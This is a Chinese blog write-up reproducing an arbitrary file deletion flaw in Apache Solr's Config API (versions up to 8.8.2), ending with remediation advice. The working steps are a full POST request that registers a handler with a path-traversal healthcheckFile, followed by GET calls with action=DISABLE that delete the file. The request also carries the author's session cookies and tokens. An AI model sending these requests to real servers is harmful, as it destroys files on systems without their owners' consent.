Apache Solr任意文件删除

漏洞描述:

Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

在Solr <= 8.8.2中存在安全漏洞,这是个"任意"文件删除漏洞, 可以删除Files.delete()能删的任何文件。

复现过程:

1.访问http://ip:port,出现如下页面,开始实验

2.通过burp抓取该页面的包,并修改get请求

POST /solr/db/config HTTP/1.1

Host: ip:port

Pragma: no-cache

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.60

Accept: image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8

Referer: http://192.168.0.253:32778/solr/css/angular/common.css?_=8.1.1

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,en-GB-oxendict;q=0.5,en-IN;q=0.4,en-IE;q=0.3,en-AU;q=0.2,en-CA;q=0.1,en-ZA;q=0.1,en-NZ;q=0.1

Cookie: _ga=GA1.1.363030958.1704177735; splunkweb_csrf_token_8000=6625282306075854530; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1704247262; org.jboss.seam.core.TimeZone=Asia/Shanghai; org.jboss.seam.core.Locale=zh_CN; jiveforums.admin.logviewer=debug.size=0&info.size=7845&warn.size=12575&error.size=1257; CFADMIN_LASTPAGE_ADMIN=%2FCFIDE%2Fadministrator%2Fhomepage%2Ecfm; seraph.confluence=622593%3Aff675e8a943bce68e34506d8539ee37f0ccb1fdf; doc-sidebar=300px; PHPSESSID=7jdvdj1d4bra0b1uhq6b4697v4

Connection: close

Content-Length: 220

{

  "add-requesthandler": {

    "name": "/test_solr",

    "class":"solr.PingRequestHandler",

    "defaults":{"echoParams":"explicit"},

    "healthcheckFile":"../../../../../../../../../../../../../test.txt",

  }

}

3.检查是否创建成功

http://ip:port/solr/db/config/overlay?omitHeader=true


4.删除文件

​http://ip:port/solr/db/test_solr?action=DISABLE (test_solr为文件名)

5.创建文件

http://ip:port/solr/db/test_solr?action=ENABLE

借此漏洞,攻击者可以删除任何文件。

修复建议:

1、为Solr配置身份校验插件, 从而避免任意用户修改config;。

2、给Config API配置个身份验证, 且不对外开放。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值